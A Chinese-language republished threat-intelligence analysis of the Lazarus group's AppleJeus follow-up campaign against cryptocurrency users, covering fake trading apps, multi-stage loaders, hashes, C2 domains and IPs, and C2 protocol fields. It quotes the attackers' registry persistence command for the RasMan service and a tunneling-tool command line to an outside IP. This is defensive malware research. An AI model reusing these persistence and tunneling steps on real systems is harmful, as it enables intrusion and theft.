怎样进行AppleJeus行动分析

Lazarus组织是目前最活跃的APT组织之一。 2018年,卡巴斯基针发现由该组织发起的名为AppleJeus的攻击行动。该行动是Lazarus首次针对macOS用户的攻击,为了攻击macOS用户,Lazarus开发了macOS恶意软件并添加身份验证机制,其可以非常仔细谨慎的下载后一阶段的有效负载,并在不落盘的情况下加载下一阶段的有效负载。为了攻击Windows用户,他们制定了多阶段感染程序。在“ AppleJeus”行动分析发布后,Lazarus在进行攻击时变得更加谨慎,采用了更多多方法来避免被发现。

AppleJeus后续

发布AppleJeus行动分析后,Lazarus继续使用类似的作案手法来破坏加密货币业务,研究人员发现了更多与AppleJeus中的macOS恶意软件类似的恶意软件。 该macOS恶意软件使用公共代码来开发安装程序。 恶意软件使用了Centrabit开发的QtBitcoinTrader。

怎样进行AppleJeus行动分析

这三个macOS安装程序使用相似的后安装程序脚本植入有效负载,并在执行获取的第二阶段有效负载时使用相同的命令。此外还识别出的另一类型macOS恶意软件MarkMakingBot.dmg(be37637d8f6c1fbe7f3ffc702afdfe1d),该恶意软件创建于2019-03-12,但网络通信并未加密,推测这是macOS恶意软件改造升级的中间阶段。

Windows恶意软件的变化

持续跟踪此活动中发现一名受害者在2019年3月受到Windows AppleJeus恶意软件的攻击。确定感染始于名为WFCUpdater.exe的恶意文件,攻击者使用了一个假网站:wfcwallet [.] com。

怎样进行AppleJeus行动分析

攻击者像以前一样使用了多阶段感染,但是方法发生了变化。 感染始于.NET恶意软件,其被伪装成WFC钱包更新程序(a9e960948fdac81579d3b752e49aceda)。此.NET文件执行后会检查命令行参数是否为“ / Embedding”。 该恶意软件负责使用硬编码的20字节XOR密钥(82 d7 ae 9b 36 7d fc ee 41 65 8f fa 74 cd 2c 62 b7 59 f5 62)解密同一文件夹中的WFC.cfg文件。其后连接到C2服务器:

wfcwallet.com (resolved ip: 108.174.195.134)

www.chainfun365.com(resolved ip: 23.254.217.53)

之后会执行攻击者的命令,安装下一阶段的有效负载。 攻击者将两个文件放置到受害者系统文件夹中:rasext.dll和msctfp.dat。他们使用RasMan(远程访问连接管理器)Windows服务注册下一阶段有效负载。 经过基本侦察后,攻击者使用以下命令手动植入有效载荷:

cmd.exe /c dir rasext.dll

cmd.exe /c dir msctfp.dat

cmd.exe /c tasklist /svc | findstr RasMan

cmd.exe /c reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesRasManThirdParty /v DllName /d rasext.dll /f

为了建立远程隧道,攻击者使用命令行参数植入了更多的相关工具,但研究人员没有获得更多的工具文件。

Port opener:

%APPDATA%LenovodevicecenterDevice.exe 6378

Tunneling tool:

%APPDATA%LenovodevicecenterCenterUpdater.exe 127.0.0.1 6378 104.168.167.16 443

macOS恶意软件变化

JMTTrading

在跟踪此攻击活动时发现了macOS恶意软件变体。攻击者将其假网站和应用程序称为JMTTrading,其他研究人员和安全厂商也发布了其大量技术细节。在这里强调一下这次攻击的不同之处。

攻击者使用GitHub来托管其恶意应用程序。

恶意软件作者在其macOS恶意软件中使用了Object-C而不是QT框架。

该恶意软件在macOS可执行文件中实现了简单的后门功能。

与以前的情况类似,使用16字节XOR密钥加密/解密的恶意软件。

Windows版本的恶意软件使用了ADVobfuscator来隐藏其代码。

macOS恶意软件的安装脚本与以前的版本有显着差异。

UnionCryptoTrader

还确定了另一项针对macOS的攻击。恶意程序名为UnionCryptoTrader,安全研究员 dineshdina04发现了一个相同的案例,该攻击总结如下:

安装脚本与JMTTrading使用的脚本相同。

恶意软件作者使用SWIFT开发了此macOS恶意软件。

恶意软件作者更改了从收集信息的方法。

该恶意软件开始使用auth_signature和auth_timestamp参数进行身份验证,以便传递第二阶段有效负载。

该恶意软件无需落盘即可加载下一阶段的有效负载。

Windows版本的UnionCryptoTrader

研究人员找到了Windows版本的UnionCryptoTrader(0f03ec3487578cef2398b5b732631fec)。它是从Telegram Messenger下载并执行:

C:Users[user name]DownloadsTelegram DesktopUnionCryptoTraderSetup.exe

此外在假网站上找到了攻击者的Telegram,可以高度确认攻击者使用Telegram Messenger发送安装程序。由于有效负载仅在内存中执行,因此无法获取所有相关文件。 整个感染过程与WFCWallet非常相似,但是增加了注入过程。

怎样进行AppleJeus行动分析

Windows版本的UnionCryptoTrader具有以下窗口,显示几个加密货币的价格图表。

怎样进行AppleJeus行动分析

Windows版本的UnionCryptoTrader更新程序(629b9de3e4b84b4a0aa605a3e9471b31)与macOS版本功能相似。 根据构建路径(Z:Loaderx64ReleaseWinloaderExe.pdb),恶意软件作者将此恶意软件称为加载程序。 启动后,该恶意软件会检索受害者的基本信息,并以HTTP POST发送该信息。

怎样进行AppleJeus行动分析

如果C2服务器的响应为200,则恶意软件会解密有效负载并将其加载到内存中。最后恶意软件发送act=done。从此加载程序下载的下一阶段有效负载(e1953fa319cc11c2f003ad0542bca822)与WFCWallet的.NET下载程序相似。该恶意软件负责解密同一文件夹中的Adobe.icx文件,将下一个有效负载注入Internet Explorer进程,并执行攻击者的命令。

最终的有效载荷(dd03c6eb62c9bf9adaf831f1d7adcbab)与WFCWallet相同是通过手动植入的。恶意软件作者根据先前收集的信息植入仅在特定系统上有效的恶意软件。该恶意软件会检查受感染系统的信息,并将其与给定值进行比较。

怎样进行AppleJeus行动分析

Windows恶意软件将加密的msctfp.dat文件加载到系统文件夹中,并加载每个配置。 它根据该文件的内容执行附加命令。当恶意软件与C2服务器通信时会使用预定义标头的POST请求。

怎样进行AppleJeus行动分析

初始通信恶意软件首先发送参数:

cgu:来自配置的64bits十六进制值

aip:配置中的MD5哈希值

sv:硬编码值

如果来自C2服务器的响应为200,恶意软件会发送带有加密数据和随机值的下一个POST请求,攻击者使用随机值来识别每个受害者并验证POST请求。

imp:随机产生的值

dsh:imp的异或值

hb_tp:imp的异或值(key:0x67BF32)

hb_dl:加密的数据发送到C2服务器

ct:硬编码值

最后,恶意软件下载下一阶段的有效负载,对其进行解密。

此外在调查其基础架构时发现了几个仍在线的假冒网站。

怎样进行AppleJeus行动分析

怎样进行AppleJeus行动分析

总结

AppleJeus后续行动中找到几名受害者分布在英国,波兰,俄罗斯和中国,一些受害者与加密货币业务有关。

怎样进行AppleJeus行动分析

攻击者改变了macOS和Windows恶意软件,在macOS下载器中添加了身份验证机制并更改了macOS开发框架。 Windows系统中的感染过程与以前的不同。Lazarus组织为获取经济利益而进行攻击会一直持续。

怎样进行AppleJeus行动分析

关于“怎样进行AppleJeus行动分析”就介绍到这了,更多相关内容可以搜索亿速云以前的文章,希望能够帮助大家答疑解惑,请多多支持亿速云网站!

文章标题:怎样进行AppleJeus行动分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/26194

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年9月16日 下午10:38
下一篇 2022年9月16日 下午10:40

相关推荐

  • sqlserver怎么导出mdf

    sqlserver导出mdf操作方法: 1、打开sql server选择要导出的数据库,右击“任务—>分离”。 2、进入后可以看到要分离成mdf的文件的数据库。 3、勾选分离数据库的删除和更新,点击“确定”。 4、sql server就成功导出mdf和ldf文件了,默认导出的路径在 C:Pro…

    2022年9月8日
    99700
  • windows浩辰cad看图王模糊怎么解决

    解决方法: 方法一: 1、如果我们的图纸与软件版本相差太大,可能会导致打开图纸模糊的问题。 2、大家如果使用的是新版的cad软件,那么建议也下载最新的浩辰cad看图王。 方法二: 1、如果我们的软件版本没有问题,那么可能是内存不足导致的。 2、因为如果加载的图纸较大的话,就需要很大的缓存空间来加载。…

    2022年9月21日
    7100
  • jquery如何获取元素有几个子元素

    在jquery中,可以利用children()方法配合length属性来获取元素有几个子元素;children()方法可以返回被选元素的所有子元素,length属性可以获取包含jquery对象中元素的数目,语法为“$(指定元素).children().length;”。 本文操作环境:windows…

    2022年9月10日
    14000
  • 怎么搭建配置Docker私有仓库

    ⛳️ 1.Docker容器三要素 Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源。Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之…

    2022年9月18日
    13000
  • javascript可不可以加密

    javascript可以加密;一般的JavaScript代码基本没有必要加密,加密都会把体积变大影响加载速度,如果是敏感的业务,则可以对JavaScript代码进行加密,在书写业务代码的时候就要设计到安全问题,一般最好是把整体业务做拆分,核心计算的业务最好放到后台,把简单的逻辑搞复杂化然后加密。 本…

    2022年9月1日
    5500
  • 怎么利用蓝牙功能两秒内攻击解锁Tapplock智能挂锁

    几个星期前,Youtube上名为JerryRigEverything的人上传了一段针对 Tapplock 智能蓝牙指纹挂锁的拆解视频。视频显示,只要用一个GoPro相机固定粘附底座就可以把 Tapplock 后盖取下,然后再利用螺丝刀就能把 Tapplock 的锁扣轻松打开。 有点不可思议,这段视频…

    2022年9月10日
    10400
  • echarts如何使用

    echarts使用方法 1、要使用Echarts的前提就是要引入echarts文件, echarts.js文件可以去echarts的官方中文网站里下载 2、进入官网之后,选择一个你想要绘制的图形。 3、这里我们选择折线图,然后看一下各个部分的具体含义。 title就是图标中的标题,在图标的左上角 4…

    2022年9月26日
    4600
  • 网络安全审计工具Nmap如何使用

    一.软件下载 https://nmap.org/download.html 二.扫描IP nmap 192.168.1.10 #扫描单IP nmap 192.168.1.10-100 #扫描IP段 nmap 192.168.1.10 192.168.1.11 #扫描单独的多IP nmap 192.1…

    2022年9月2日
    5200
  • css如何使用​禁用鼠标事件

    禁用鼠标事件 CSS3 新增的 pointer-events 让你能够禁用元素的鼠标事件,例如,一个连接如果设置了下面的样式就无法点击了。 .disabled { pointer-events: none; } 关于“css如何使用禁用鼠标事件”这篇文章就分享到这里了,希望以上内容可以对大家有一定的…

    2022年9月1日
    7900
  • mac地址是不是物理地址

    mac地址是物理地址;mac地址的全称是“Media Access Control Address”,意为媒体存取控制位址,代表媒体访问控制,也称为物理地址或硬件地址,为网络上的每个设备提供唯一标识符,由一个48位或64位地址组成。 本教程操作环境:windows10系统、DELL G3电脑。 ma…

    2022年9月8日
    8500
联系我们
关注微信
关注微信
分享本页
返回顶部
PingCode 比 Jira 更好用的研发管理工具。免费试用